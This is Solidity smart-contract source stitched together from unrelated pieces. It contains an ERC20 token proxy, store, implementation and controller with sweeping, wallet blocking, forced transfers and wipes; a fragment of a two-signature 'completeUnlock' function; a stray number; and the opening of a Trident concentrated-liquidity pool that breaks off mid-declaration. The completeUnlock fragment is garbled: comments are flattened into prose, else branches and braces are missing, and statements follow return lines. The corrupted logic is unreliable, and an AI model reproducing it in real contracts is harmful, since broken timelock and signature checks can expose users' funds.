Decreases the amount `_spender` is allowed to withdraw from * your account. This function is implemented to avoid the race * condition in standard ERC20 contracts surrounding the `approve` method. * * @dev Will fire the `Approval` event. This function should be used * instead of `approve`. * * @return success true if approval completes. */ function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) { return erc20Impl.decreaseApprovalWithSender(msg.sender, _spender, _subtractedValue); } /** @notice Returns how much `_spender` is currently allowed to spend from * `_owner`'s balance. * * @return remaining the remaining allowance. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return erc20Impl.allowance(_owner, _spender); } } /** @title ERC20 compliant token balance store. * * @notice This contract serves as the store of balances, allowances, and * supply for the ERC20 compliant token. No business logic exists here. * * @dev This contract contains no business logic and instead * is the final destination for any change in balances, allowances, or token * supply. This contract is upgradeable in the sense that its custodian can * update the `erc20Impl` address, thus redirecting the source of logic that * determines how the balances will be updated. * */ contract ERC20Store is ERC20ImplUpgradeable { // MEMBERS /// @dev The total token supply. uint256 public totalSupply; /// @dev The mapping of balances. mapping (address => uint256) public balances; /// @dev The mapping of allowances. mapping (address => mapping (address => uint256)) public allowed; // CONSTRUCTOR constructor(address _custodian) ERC20ImplUpgradeable(_custodian) public { totalSupply = 0; } // PUBLIC FUNCTIONS // (ERC20 Ledger) /** @notice The function to set the total supply of tokens. * * @dev Intended for use by token implementation functions * that update the total supply. The only authorized caller * is the active implementation. * * @param _newTotalSupply the value to set as the new total supply */ function setTotalSupply( uint256 _newTotalSupply ) public onlyImpl { totalSupply = _newTotalSupply; } /** @notice Sets how much `_owner` allows `_spender` to transfer on behalf * of `_owner`. * * @dev Intended for use by token implementation functions * that update spending allowances. The only authorized caller * is the active implementation. * * @param _owner The account that will allow an on-behalf-of spend. * @param _spender The account that will spend on behalf of the owner. * @param _value The limit of what can be spent. */ function setAllowance( address _owner, address _spender, uint256 _value ) public onlyImpl { allowed[_owner][_spender] = _value; } /** @notice Sets the balance of `_owner` to `_newBalance`. * * @dev Intended for use by token implementation functions * that update balances. The only authorized caller * is the active implementation. * * @param _owner The account that will hold a new balance. * @param _newBalance The balance to set. */ function setBalance( address _owner, uint256 _newBalance ) public onlyImpl { balances[_owner] = _newBalance; } /** @notice Adds `_balanceIncrease` to `_owner`'s balance. * * @dev Intended for use by token implementation functions * that update balances. The only authorized caller * is the active implementation. * WARNING: the caller is responsible for preventing overflow. * * @param _owner The account that will hold a new balance. * @param _balanceIncrease The balance to add. */ function addBalance( address _owner, uint256 _balanceIncrease ) public onlyImpl { balances[_owner] = balances[_owner] + _balanceIncrease; } } /** @title ERC20 compliant token intermediary contract holding core logic. * * @notice This contract serves as an intermediary between the exposed ERC20 * interface in ERC20Proxy and the store of balances in ERC20Store. This * contract contains core logic that the proxy can delegate to * and that the store is called by. * * @dev This contract contains the core logic to implement the * ERC20 specification as well as several extensions. * 1. Changes to the token supply. * 2. Batched transfers. * 3. Relative changes to spending approvals. * 4. Delegated transfer control ('sweeping'). * */ contract ERC20Impl is CustodianUpgradeable { // TYPES /// @dev The struct type for pending increases to the token supply (print). struct PendingPrint { address receiver; uint256 value; } // MEMBERS /// @dev The reference to the proxy. ERC20Proxy public erc20Proxy; /// @dev The reference to the store. ERC20Store public erc20Store; /// @dev The sole authorized caller of delegated transfer control ('sweeping'). address public sweeper; /** @dev The static message to be signed by an external account that * signifies their permission to forward their balance to any arbitrary * address. This is used to consolidate the control of all accounts * backed by a shared keychain into the control of a single key. * Initialized as the concatenation of the address of this contract * and the word "sweep". This concatenation is done to prevent a replay * attack in a subsequent contract, where the sweeping message could * potentially be replayed to re-enable sweeping ability. */ bytes32 public sweepMsg; /** @dev The mapping that stores whether the address in question has * enabled sweeping its contents to another account or not. * If an address maps to "true", it has already enabled sweeping, * and thus does not need to re-sign the `sweepMsg` to enact the sweep. */ mapping (address => bool) public sweptSet; /// @dev The map of lock ids to pending token increases. mapping (bytes32 => PendingPrint) public pendingPrintMap; /// @dev The map of blocked addresses. mapping (address => bool) public blocked; // CONSTRUCTOR constructor( address _erc20Proxy, address _erc20Store, address _custodian, address _sweeper ) CustodianUpgradeable(_custodian) public { require(_sweeper != address(0), "no null value for `_sweeper`"); erc20Proxy = ERC20Proxy(_erc20Proxy); erc20Store = ERC20Store(_erc20Store); sweeper = _sweeper; sweepMsg = keccak256(abi.encodePacked(address(this), "sweep")); } // MODIFIERS modifier onlyProxy { require(msg.sender == address(erc20Proxy), "only ERC20Proxy"); _; } modifier onlySweeper { require(msg.sender == sweeper, "only sweeper"); _; } /** @notice Core logic of the ERC20 `approve` function. * * @dev This function can only be called by the referenced proxy, * which has an `approve` function. * Every argument passed to that function as well as the original * `msg.sender` gets passed to this function. * NOTE: approvals for the zero address (unspendable) are disallowed. * * @param _sender The address initiating the approval in a proxy. */ function approveWithSender( address _sender, address _spender, uint256 _value ) public onlyProxy returns (bool success) { require(_spender != address(0), "no null value for `_spender`"); require(blocked[_sender] != true, "_sender must not be blocked"); require(blocked[_spender] != true, "_spender must not be blocked"); erc20Store.setAllowance(_sender, _spender, _value); erc20Proxy.emitApproval(_sender, _spender, _value); return true; } /** @notice Core logic of the `increaseApproval` function. * * @dev This function can only be called by the referenced proxy, * which has an `increaseApproval` function. * Every argument passed to that function as well as the original * `msg.sender` gets passed to this function. * NOTE: approvals for the zero address (unspendable) are disallowed. * * @param _sender The address initiating the approval. */ function increaseApprovalWithSender( address _sender, address _spender, uint256 _addedValue ) public onlyProxy returns (bool success) { require(_spender != address(0),"no null value for_spender"); require(blocked[_sender] != true, "_sender must not be blocked"); require(blocked[_spender] != true, "_spender must not be blocked"); uint256 currentAllowance = erc20Store.allowed(_sender, _spender); uint256 newAllowance = currentAllowance + _addedValue; require(newAllowance >= currentAllowance, "new allowance must not be smaller than previous"); erc20Store.setAllowance(_sender, _spender, newAllowance); erc20Proxy.emitApproval(_sender, _spender, newAllowance); return true; } /** @notice Core logic of the `decreaseApproval` function. * * @dev This function can only be called by the referenced proxy, * which has a `decreaseApproval` function. * Every argument passed to that function as well as the original * `msg.sender` gets passed to this function. * NOTE: approvals for the zero address (unspendable) are disallowed. * * @param _sender The address initiating the approval. */ function decreaseApprovalWithSender( address _sender, address _spender, uint256 _subtractedValue ) public onlyProxy returns (bool success) { require(_spender != address(0), "no unspendable approvals"); // disallow unspendable approvals require(blocked[_sender] != true, "_sender must not be blocked"); require(blocked[_spender] != true, "_spender must not be blocked"); uint256 currentAllowance = erc20Store.allowed(_sender, _spender); uint256 newAllowance = currentAllowance - _subtractedValue; require(newAllowance <= currentAllowance, "new allowance must not be smaller than previous"); erc20Store.setAllowance(_sender, _spender, newAllowance); erc20Proxy.emitApproval(_sender, _spender, newAllowance); return true; } /** @notice Requests an increase in the token supply, with the newly created * tokens to be added to the balance of the specified account. * * @dev Returns a unique lock id associated with the request. * Anyone can call this function, but confirming the request is authorized * by the custodian. * NOTE: printing to the zero address is disallowed. * * @param _receiver The receiving address of the print, if confirmed. * @param _value The number of tokens to add to the total supply and the * balance of the receiving address, if confirmed. * * @return lockId A unique identifier for this request. */ function requestPrint(address _receiver, uint256 _value) public returns (bytes32 lockId) { require(_receiver != address(0), "no null value for `_receiver`"); require(blocked[msg.sender] != true, "account blocked"); require(blocked[_receiver] != true, "_receiver must not be blocked"); lockId = generateLockId(); pendingPrintMap[lockId] = PendingPrint({ receiver: _receiver, value: _value }); emit PrintingLocked(lockId, _receiver, _value); } /** @notice Confirms a pending increase in the token supply. * * @dev When called by the custodian with a lock id associated with a * pending increase, the amount requested to be printed in the print request * is printed to the receiving address specified in that same request. * NOTE: this function will not execute any print that would overflow the * total supply, but it will not revert either. * * @param _lockId The identifier of a pending print request. */ function confirmPrint(bytes32 _lockId) public onlyCustodian { PendingPrint storage print = pendingPrintMap[_lockId]; // reject 1null1 results from the map lookup // this can only be the case if an unknown `_lockId` is received address receiver = print.receiver; require (receiver != address(0), "unknown `_lockId`"); uint256 value = print.value; delete pendingPrintMap[_lockId]; uint256 supply = erc20Store.totalSupply(); uint256 newSupply = supply + value; if (newSupply >= supply) { erc20Store.setTotalSupply(newSupply); erc20Store.addBalance(receiver, value); emit PrintingConfirmed(_lockId, receiver, value); erc20Proxy.emitTransfer(address(0), receiver, value); } } /** @notice Burns the specified value from the sender's balance. * * @dev Sender's balanced is subtracted by the amount they wish to burn. * * @param _value The amount to burn. * * @return success true if the burn succeeded. */ function burn(uint256 _value) public returns (bool success) { require(blocked[msg.sender] != true, "account blocked"); uint256 balanceOfSender = erc20Store.balances(msg.sender); require(_value <= balanceOfSender, "disallow burning more, than amount of the balance"); erc20Store.setBalance(msg.sender, balanceOfSender - _value); erc20Store.setTotalSupply(erc20Store.totalSupply() - _value); erc20Proxy.emitTransfer(msg.sender, address(0), _value); return true; } /** @notice Burns the specified value from the balance in question. * * @dev Suspected balance is subtracted by the amount which will be burnt. * * @dev If the suspected balance has less than the amount requested, it will be set to 0. * * @param _from The address of suspected balance. * * @param _value The amount to burn. * * @return success true if the burn succeeded. */ function burn(address _from, uint256 _value) public onlyCustodian returns (bool success) { uint256 balance = erc20Store.balances(_from); if(_value <= balance){ erc20Store.setBalance(_from, balance - _value); erc20Store.setTotalSupply(erc20Store.totalSupply() - _value); erc20Proxy.emitTransfer(_from, address(0), _value); emit Wiped(_from, _value, _value, balance - _value); } else { erc20Store.setBalance(_from,0); erc20Store.setTotalSupply(erc20Store.totalSupply() - balance); erc20Proxy.emitTransfer(_from, address(0), balance); emit Wiped(_from, _value, balance, 0); } return true; } /** @notice A function for a sender to issue multiple transfers to multiple * different addresses at once. This function is implemented for gas * considerations when someone wishes to transfer, as one transaction is * cheaper than issuing several distinct individual `transfer` transactions. * * @dev By specifying a set of destination addresses and values, the * sender can issue one transaction to transfer multiple amounts to * distinct addresses, rather than issuing each as a separate * transaction. The `_tos` and `_values` arrays must be equal length, and * an index in one array corresponds to the same index in the other array * (e.g. `_tos[0]` will receive `_values[0]`, `_tos[1]` will receive * `_values[1]`, and so on.) * NOTE: transfers to the zero address are disallowed. * * @param _tos The destination addresses to receive the transfers. * @param _values The values for each destination address. * @return success If transfers succeeded. */ function batchTransfer(address[] memory _tos, uint256[] memory _values) public returns (bool success) { require(_tos.length == _values.length, "_tos and _values must be the same length"); require(blocked[msg.sender] != true, "account blocked"); uint256 numTransfers = _tos.length; uint256 senderBalance = erc20Store.balances(msg.sender); for (uint256 i = 0; i < numTransfers; i++) { address to = _tos[i]; require(to != address(0), "no null values for _tos"); require(blocked[to] != true, "_tos must not be blocked"); uint256 v = _values[i]; require(senderBalance >= v, "insufficient funds"); if (msg.sender != to) { senderBalance -= v; erc20Store.addBalance(to, v); } erc20Proxy.emitTransfer(msg.sender, to, v); } erc20Store.setBalance(msg.sender, senderBalance); return true; } /** @notice Enables the delegation of transfer control for many * accounts to the sweeper account, transferring any balances * as well to the given destination. * * @dev An account delegates transfer control by signing the * value of `sweepMsg`. The sweeper account is the only authorized * caller of this function, so it must relay signatures on behalf * of accounts that delegate transfer control to it. Enabling * delegation is idempotent and permanent. If the account has a * balance at the time of enabling delegation, its balance is * also transferred to the given destination account `_to`. * NOTE: transfers to the zero address are disallowed. * * @param _vs The array of recovery byte components of the ECDSA signatures. * @param _rs The array of 'R' components of the ECDSA signatures. * @param _ss The array of 'S' components of the ECDSA signatures. * @param _to The destination for swept balances. */ function enableSweep(uint8[] memory _vs, bytes32[] memory _rs, bytes32[] memory _ss, address _to) public onlySweeper { require(_to != address(0), "no null value for `_to`"); require(blocked[_to] != true, "_to must not be blocked"); require((_vs.length == _rs.length) && (_vs.length == _ss.length), "_vs[], _rs[], _ss lengths are different"); uint256 numSignatures = _vs.length; uint256 sweptBalance = 0; for (uint256 i = 0; i < numSignatures; ++i) { address from = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",sweepMsg)), _vs[i], _rs[i], _ss[i]); require(blocked[from] != true, "_froms must not be blocked"); // ecrecover returns 0 on malformed input if (from != address(0)) { sweptSet[from] = true; uint256 fromBalance = erc20Store.balances(from); if (fromBalance > 0) { sweptBalance += fromBalance; erc20Store.setBalance(from, 0); erc20Proxy.emitTransfer(from, _to, fromBalance); } } } if (sweptBalance > 0) { erc20Store.addBalance(_to, sweptBalance); } } /** @notice For accounts that have delegated, transfer control * to the sweeper, this function transfers their balances to the given * destination. * * @dev The sweeper account is the only authorized caller of * this function. This function accepts an array of addresses to have their * balances transferred for gas efficiency purposes. * NOTE: any address for an account that has not been previously enabled * will be ignored. * NOTE: transfers to the zero address are disallowed. * * @param _froms The addresses to have their balances swept. * @param _to The destination address of all these transfers. */ function replaySweep(address[] memory _froms, address _to) public onlySweeper { require(_to != address(0), "no null value for `_to`"); require(blocked[_to] != true, "_to must not be blocked"); uint256 lenFroms = _froms.length; uint256 sweptBalance = 0; for (uint256 i = 0; i < lenFroms; ++i) { address from = _froms[i]; require(blocked[from] != true, "_froms must not be blocked"); if (sweptSet[from]) { uint256 fromBalance = erc20Store.balances(from); if (fromBalance > 0) { sweptBalance += fromBalance; erc20Store.setBalance(from, 0); erc20Proxy.emitTransfer(from, _to, fromBalance); } } } if (sweptBalance > 0) { erc20Store.addBalance(_to, sweptBalance); } } /** @notice Core logic of the ERC20 `transferFrom` function. * * @dev This function can only be called by the referenced proxy, * which has a `transferFrom` function. * Every argument passed to that function as well as the original * `msg.sender` gets passed to this function. * NOTE: transfers to the zero address are disallowed. * * @param _sender The address initiating the transfer in a proxy. */ function transferFromWithSender( address _sender, address _from, address _to, uint256 _value ) public onlyProxy returns (bool success) { require(_to != address(0), "no null values for `_to`"); require(blocked[_sender] != true, "_sender must not be blocked"); require(blocked[_from] != true, "_from must not be blocked"); require(blocked[_to] != true, "_to must not be blocked"); uint256 balanceOfFrom = erc20Store.balances(_from); require(_value <= balanceOfFrom, "insufficient funds on `_from` balance"); uint256 senderAllowance = erc20Store.allowed(_from, _sender); require(_value <= senderAllowance, "insufficient allowance amount"); erc20Store.setBalance(_from, balanceOfFrom - _value); erc20Store.addBalance(_to, _value); erc20Store.setAllowance(_from, _sender, senderAllowance - _value); erc20Proxy.emitTransfer(_from, _to, _value); return true; } /** @notice Core logic of the ERC20 `transfer` function. * * @dev This function can only be called by the referenced proxy, * which has a `transfer` function. * Every argument passed to that function as well as the original * `msg.sender` gets passed to this function. * NOTE: transfers to the zero address are disallowed. * * @param _sender The address initiating the transfer in a proxy. */ function transferWithSender( address _sender, address _to, uint256 _value ) public onlyProxy returns (bool success) { require(_to != address(0), "no null value for `_to`"); require(blocked[_sender] != true, "_sender must not be blocked"); require(blocked[_to] != true, "_to must not be blocked"); uint256 balanceOfSender = erc20Store.balances(_sender); require(_value <= balanceOfSender, "insufficient funds"); erc20Store.setBalance(_sender, balanceOfSender - _value); erc20Store.addBalance(_to, _value); erc20Proxy.emitTransfer(_sender, _to, _value); return true; } /** @notice Transfers the specified value from the balance in question. * * @dev Suspected balance is subtracted by the amount which will be transferred. * * @dev If the suspected balance has less than the amount requested, it will be set to 0. * * @param _from The address of suspected balance. * * @param _value The amount to transfer. * * @return success true if the transfer succeeded. */ function forceTransfer( address _from, address _to, uint256 _value ) public onlyCustodian returns (bool success) { require(_to != address(0), "no null value for `_to`"); uint256 balanceOfSender = erc20Store.balances(_from); if(_value <= balanceOfSender) { erc20Store.setBalance(_from, balanceOfSender - _value); erc20Store.addBalance(_to, _value); erc20Proxy.emitTransfer(_from, _to, _value); } else { erc20Store.setBalance(_from, 0); erc20Store.addBalance(_to, balanceOfSender); erc20Proxy.emitTransfer(_from, _to, balanceOfSender); } return true; } // METHODS (ERC20 sub interface impl.) /// @notice Core logic of the ERC20 `totalSupply` function. function totalSupply() public view returns (uint256) { return erc20Store.totalSupply(); } /// @notice Core logic of the ERC20 `balanceOf` function. function balanceOf(address _owner) public view returns (uint256 balance) { return erc20Store.balances(_owner); } /// @notice Core logic of the ERC20 `allowance` function. function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return erc20Store.allowed(_owner, _spender); } /// @dev internal use only. function blockWallet(address wallet) public onlyCustodian returns (bool success) { blocked[wallet] = true; return true; } /// @dev internal use only. function unblockWallet(address wallet) public onlyCustodian returns (bool success) { blocked[wallet] = false; return true; } // EVENTS /// @dev Emitted by successful `requestPrint` calls. event PrintingLocked(bytes32 _lockId, address _receiver, uint256 _value); /// @dev Emitted by successful `confirmPrint` calls. event PrintingConfirmed(bytes32 _lockId, address _receiver, uint256 _value); /** @dev Emitted by successful `confirmWipe` calls. * * @param _value Amount requested to be burned. * * @param _burned Amount which was burned. * * @param _balance Amount left on account after burn. * * @param _from Account which balance was burned. */ event Wiped(address _from, uint256 _value, uint256 _burned, uint _balance); } /** @title A contact to govern hybrid control over increases to the token supply and managing accounts. * * @notice A contract that acts as a custodian of the active token * implementation, and an intermediary between it and the 1true1 custodian. * It preserves the functionality of direct custodianship as well as granting * limited control of token supply increases to an additional key. * * @dev This contract is a layer of indirection between an instance of * ERC20Impl and a custodian. The functionality of the custodianship over * the token implementation is preserved (printing and custodian changes), * but this contract adds the ability for an additional key * (the 'controller') to increase the token supply up to a ceiling, * and this supply ceiling can only be raised by the custodian. * */ contract Controller is LockRequestable { // TYPES /// @dev The struct type for pending ceiling raises. struct PendingCeilingRaise { uint256 raiseBy; } /// @dev The struct type for pending wipes. struct wipeAddress { uint256 value; address from; } /// @dev The struct type for pending force transfer requests. struct forceTransferRequest { uint256 value; address from; address to; } // MEMBERS /// @dev The reference to the active token implementation. ERC20Impl public erc20Impl; /// @dev The address of the account or contract that acts as the custodian. Custodian public custodian; /** @dev The sole authorized caller of limited printing. * This account is also authorized to lower the supply ceiling and * wiping suspected accounts or force transferring funds from them. */ address public controller; /** @dev The maximum that the token supply can be increased to * through the use of the limited printing feature. * The difference between the current total supply and the supply * ceiling is what is available to the 'controller' account. * The value of the ceiling can only be increased by the custodian. */ uint256 public totalSupplyCeiling; /// @dev The map of lock ids to pending ceiling raises. mapping (bytes32 => PendingCeilingRaise) public pendingRaiseMap; /// @dev The map of lock ids to pending wipes. mapping (bytes32 => wipeAddress[]) public pendingWipeMap; /// @dev The map of lock ids to pending force transfer requests. mapping (bytes32 => forceTransferRequest) public pendingForceTransferRequestMap; // CONSTRUCTOR constructor( address _erc20Impl, address _custodian, address _controller, uint256 _initialCeiling ) public { erc20Impl = ERC20Impl(_erc20Impl); custodian = Custodian(_custodian); controller = _controller; totalSupplyCeiling = _initialCeiling; } // MODIFIERS modifier onlyCustodian { require(msg.sender == address(custodian), "only custodian"); _; } modifier onlyController { require(msg.sender == controller, "only controller"); _; } modifier onlySigner { require(custodian.signerSet(msg.sender) == true, "only signer"); _; } /** @notice Increases the token supply, with the newly created tokens * being added to the balance of the specified account. * * @dev The function checks that the value to print does not * exceed the supply ceiling when added to the current total supply. * NOTE: printing to the zero address is disallowed. * * @param _receiver The receiving address of the print. * @param _value The number of tokens to add to the total supply and the * balance of the receiving address. */ function limitedPrint(address _receiver, uint256 _value) public onlyController { uint256 totalSupply = erc20Impl.totalSupply(); uint256 newTotalSupply = totalSupply + _value; require(newTotalSupply >= totalSupply, "new total supply overflow"); require(newTotalSupply <= totalSupplyCeiling, "total supply ceiling overflow"); erc20Impl.confirmPrint(erc20Impl.requestPrint(_receiver, _value)); } /** @notice Requests wipe of suspected accounts. * * @dev Returns a unique lock id associated with the request. * Only controller can call this function, and only the custodian * can confirm the request. * * @param _froms The array of suspected accounts. * * @param _values array of amounts by which suspected accounts will be wiped. * * @return lockId A unique identifier for this request. */ function requestWipe(address[] memory _froms, uint256[] memory _values) public onlyController returns (bytes32 lockId) { require(_froms.length == _values.length, "_froms[] and _values[] must be same length"); lockId = generateLockId(); uint256 amount = _froms.length; for(uint256 i = 0; i < amount; i++) { address from = _froms[i]; uint256 value = _values[i]; pendingWipeMap[lockId].push(wipeAddress(value, from)); } emit WipeRequested(lockId); return lockId; } /** @notice Confirms a pending wipe of suspected accounts. * * @dev When called by the custodian with a lock id associated with a * pending wipe, the amount requested is burned from the suspected accounts. * * @param _lockId The identifier of a pending wipe request. */ function confirmWipe(bytes32 _lockId) public onlyCustodian { uint256 amount = pendingWipeMap[_lockId].length; for(uint256 i = 0; i < amount; i++) { wipeAddress memory addr = pendingWipeMap[_lockId][i]; address from = addr.from; uint256 value = addr.value; erc20Impl.burn(from, value); } delete pendingWipeMap[_lockId]; emit WipeCompleted(_lockId); } /** @notice Requests force transfer from the suspected account. * * @dev Returns a unique lock id associated with the request. * Only controller can call this function, and only the custodian * can confirm the request. * * @param _from address of suspected account. * * @param _to address of reciever. * * @param _value amount which will be transferred. * * @return lockId A unique identifier for this request. */ function requestForceTransfer(address _from, address _to, uint256 _value) public onlyController returns (bytes32 lockId) { lockId = generateLockId(); require (_value != 0, "no zero value transfers"); pendingForceTransferRequestMap[lockId] = forceTransferRequest(_value, _from, _to); emit ForceTransferRequested(lockId, _from, _to, _value); return lockId; } /** @notice Confirms a pending force transfer request. * * @dev When called by the custodian with a lock id associated with a * pending transfer request, the amount requested is transferred from the suspected account. * * @param _lockId The identifier of a pending transfer request. */ function confirmForceTransfer(bytes32 _lockId) public onlyCustodian { address from = pendingForceTransferRequestMap[_lockId].from; address to = pendingForceTransferRequestMap[_lockId].to; uint256 value = pendingForceTransferRequestMap[_lockId].value; delete pendingForceTransferRequestMap[_lockId]; erc20Impl.forceTransfer(from, to, value); emit ForceTransferCompleted(_lockId, from, to, value); } /** @notice Requests an increase to the supply ceiling. * * @dev Returns a unique lock id associated with the request. * Anyone can call this function, but confirming the request is authorized * by the custodian. * * @param _raiseBy The amount by which to raise the ceiling. * * @return lockId A unique identifier for this request. */ function requestCeilingRaise(uint256 _raiseBy) public returns (bytes32 lockId) { require(_raiseBy != 0, "no zero ceiling raise"); lockId = generateLockId(); pendingRaiseMap[lockId] = PendingCeilingRaise({ raiseBy: _raiseBy }); emit CeilingRaiseLocked(lockId, _raiseBy); } /** @notice Confirms a pending increase in the token supply. * * @dev When called by the custodian with a lock id associated with a * pending ceiling increase, the amount requested is added to the * current supply ceiling. * NOTE: this function will not execute any raise that would overflow the * supply ceiling, but it will not revert either. * * @param _lockId The identifier of a pending ceiling raise request. */ function confirmCeilingRaise(bytes32 _lockId) public onlyCustodian { PendingCeilingRaise storage pendingRaise = pendingRaiseMap[_lockId]; // copy locals of references to struct members uint256 raiseBy = pendingRaise.raiseBy; // accounts for a gibberish _lockId require(raiseBy != 0, "no gibberish _lockId"); delete pendingRaiseMap[_lockId]; uint256 newCeiling = totalSupplyCeiling + raiseBy; // overflow check if (newCeiling >= totalSupplyCeiling) { totalSupplyCeiling = newCeiling; emit CeilingRaiseConfirmed(_lockId, raiseBy, newCeiling); } } /** @notice Lowers the supply ceiling, further constraining the bound of * what can be printed by the controller. * * @dev The controller is the sole authorized caller of this function, * so it is the only account that can elect to lower its limit to increase * the token supply. * * @param _lowerBy The amount by which to lower the supply ceiling. */ function lowerCeiling(uint256 _lowerBy) public onlyController { uint256 newCeiling = totalSupplyCeiling - _lowerBy; // overflow check require(newCeiling <= totalSupplyCeiling, "totalSupplyCeiling overflow"); totalSupplyCeiling = newCeiling; emit CeilingLowered(_lowerBy, newCeiling); } /** @notice Pass-through control of print confirmation, allowing this * contract's custodian to act as the custodian of the associated * active token implementation. * * @dev This contract is the direct custodian of the active token * implementation, but this function allows this contract's custodian * to act as though it were the direct custodian of the active * token implementation. Therefore the custodian retains control of * unlimited printing. * * @param _lockId The identifier of a pending print request in * the associated active token implementation. */ function confirmPrintProxy(bytes32 _lockId) public onlyCustodian { erc20Impl.confirmPrint(_lockId); } /** @notice Pass-through control of custodian change confirmation, * allowing this contract's custodian to act as the custodian of * the associated active token implementation. * * @dev This contract is the direct custodian of the active token * implementation, but this function allows this contract's custodian * to act as though it were the direct custodian of the active * token implementation. Therefore the custodian retains control of * custodian changes. * * @param _lockId The identifier of a pending custodian change request * in the associated active token implementation. */ function confirmCustodianChangeProxy(bytes32 _lockId) public onlyCustodian { erc20Impl.confirmCustodianChange(_lockId); } /** @notice Blocks all transactions with a wallet. * * @dev Only signers from custodian are authorized to call this function * * @param wallet account which will be blocked. */ function blockWallet(address wallet) public onlySigner { erc20Impl.blockWallet(wallet); emit Blocked(wallet); } /** @notice Unblocks all transactions with a wallet. * * @dev Only signers from custodian are authorized to call this function * * @param wallet account which will be unblocked. */ function unblockWallet(address wallet) public onlySigner { erc20Impl.unblockWallet(wallet); emit Unblocked(wallet); } // EVENTS /// @dev Emitted by successful `requestCeilingRaise` calls. event CeilingRaiseLocked(bytes32 _lockId, uint256 _raiseBy); /// @dev Emitted by successful `confirmCeilingRaise` calls. event CeilingRaiseConfirmed(bytes32 _lockId, uint256 _raiseBy, uint256 _newCeiling); /// @dev Emitted by successful `lowerCeiling` calls. event CeilingLowered(uint256 _lowerBy, uint256 _newCeiling); /// @dev Emitted by successful `blockWallet` calls. event Blocked(address _wallet); /// @dev Emitted by successful `unblockWallet` calls. event Unblocked(address _wallet); /// @dev Emitted by successful `requestForceTransfer` calls. event ForceTransferRequested(bytes32 _lockId, address _from, address _to, uint256 _value); /// @dev Emitted by successful `confirmForceTransfer` calls. event ForceTransferCompleted(bytes32 _lockId, address _from, address _to, uint256 _value); /// @dev Emitted by successful `requestWipe` calls. event WipeRequested(bytes32 _lockId); /// @dev Emitted by successful `confirmWipe` calls. event WipeCompleted(bytes32 _lockId); }
Completes a pending unlocking with two signatures. Given a request message hash as two signatures of it from two distinct signers in the signer set, this function completes the unlocking of the pending request by executing the callback. _requestMsgHash The request message hash of a pending request. _recoveryByte1 The public key recovery byte (27 or 28) _ecdsaR1 The R component of an ECDSA signature (R, S) pair _ecdsaS1 The S component of an ECDSA signature (R, S) pair _recoveryByte2 The public key recovery byte (27 or 28) _ecdsaR2 The R component of an ECDSA signature (R, S) pair _ecdsaS2 The S component of an ECDSA signature (R, S) pair return success True if the callback successfully executed./ copy storage to locals before `delete` failing case of the lookup if the callback address is zero reject confirms of earlier withdrawals buried under later confirmed withdrawals reward sender with anti-spam payments
function completeUnlock( bytes32 _requestMsgHash, uint8 _recoveryByte1, bytes32 _ecdsaR1, bytes32 _ecdsaS1, uint8 _recoveryByte2, bytes32 _ecdsaR2, bytes32 _ecdsaS2 ) public onlySigner returns (bool success) { Request storage request = requestMap[_requestMsgHash]; bytes32 lockId = request.lockId; address callbackAddress = request.callbackAddress; bytes4 callbackSelector = request.callbackSelector; require(callbackAddress != address(0), "no zero value for callback address"); require(request.idx > lastCompletedIdxs[callbackAddress][callbackSelector], "reject confirms of earlier withdrawals buried under later confirmed withdrawals"); address signer1 = ecrecover( keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _requestMsgHash)), _recoveryByte1, _ecdsaR1, _ecdsaS1 ); require(signerSet[signer1], "signer is set"); address signer2 = ecrecover( keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _requestMsgHash)), _recoveryByte2, _ecdsaR2, _ecdsaS2 ); require(signerSet[signer2], "signer is set"); require(signer1 != signer2, "signers are different"); if (request.extended && ((block.timestamp - request.timestamp) < extendedTimeLock)) { emit TimeLocked(request.timestamp + extendedTimeLock, _requestMsgHash); return false; emit TimeLocked(request.timestamp + defaultTimeLock, _requestMsgHash); return false; if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } if (success) { emit Completed(lockId, _requestMsgHash, signer1, signer2); emit Failed(lockId, _requestMsgHash, signer1, signer2); } } }
12,961,471
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.8.0; import "../../interfaces/IBentoBoxMinimal.sol"; import "../../interfaces/IMasterDeployer.sol"; import "../../interfaces/IPool.sol"; import "../../interfaces/concentratedPool/IPositionManager.sol"; import "../../interfaces/ITridentCallee.sol"; import "../../interfaces/ITridentRouter.sol"; import "../../libraries/concentratedPool/FullMath.sol"; import "../../libraries/concentratedPool/TickMath.sol"; import "../../libraries/concentratedPool/UnsafeMath.sol"; import "../../libraries/concentratedPool/DyDxMath.sol"; import "../../libraries/concentratedPool/SwapLib.sol"; import "../../libraries/concentratedPool/Ticks.sol"; /// @notice Trident exchange pool template implementing concentrated liquidity for swapping between an ERC-20 token pair. /// @dev Amounts are considered to be in Bentobox shared contract ConcentratedLiquidityPool is IPool { using Ticks for mapping(int24 => Ticks.Tick); event Mint(address indexed owner, uint256 amount0, uint256 amount1); event Burn(address indexed owner, uint256 amount0, uint256 amount1); event Collect(address indexed sender, uint256 amount0, uint256 amount1); event Sync(uint256 reserveShares0, uint256 reserveShares1); bytes32 public constant override poolIdentifier = "Trident:ConcentratedLiquidity"; uint24 internal constant MAX_FEE = 100000; /// @dev Maximum `swapFee` is 10%. /// @dev References for tickSpacing: /// 100 tickSpacing -> 2% between ticks. uint24 internal immutable tickSpacing; uint24 internal immutable swapFee; /// @dev 1000 corresponds to 0.1% fee. Fee is measured in pips. uint128 internal immutable MAX_TICK_LIQUIDITY; address internal immutable barFeeTo; IBentoBoxMinimal internal immutable bento; IMasterDeployer internal immutable masterDeployer; address internal immutable token0; address internal immutable token1; uint128 public liquidity; uint160 internal secondsGrowthGlobal; /// @dev Multiplied by 2^128. uint32 internal lastObservation; uint256 public feeGrowthGlobal0; /// @dev All fee growth counters are multiplied by 2^128. uint256 public feeGrowthGlobal1; uint256 public barFee; uint128 internal token0ProtocolFee; uint128 internal token1ProtocolFee; uint128 internal reserve0; /// @dev `bento` share balance tracker. uint128 internal reserve1; uint160 internal price; /// @dev Sqrt of price aka. √(y/x), multiplied by 2^96. int24 internal nearestTick; /// @dev Tick that is just below the current price. uint256 internal unlocked; mapping(int24 => Ticks.Tick) public ticks; mapping(address => mapping(int24 => mapping(int24 => Position))) public positions; struct Position { uint128 liquidity; uint256 feeGrowthInside0Last; uint256 feeGrowthInside1Last; } struct 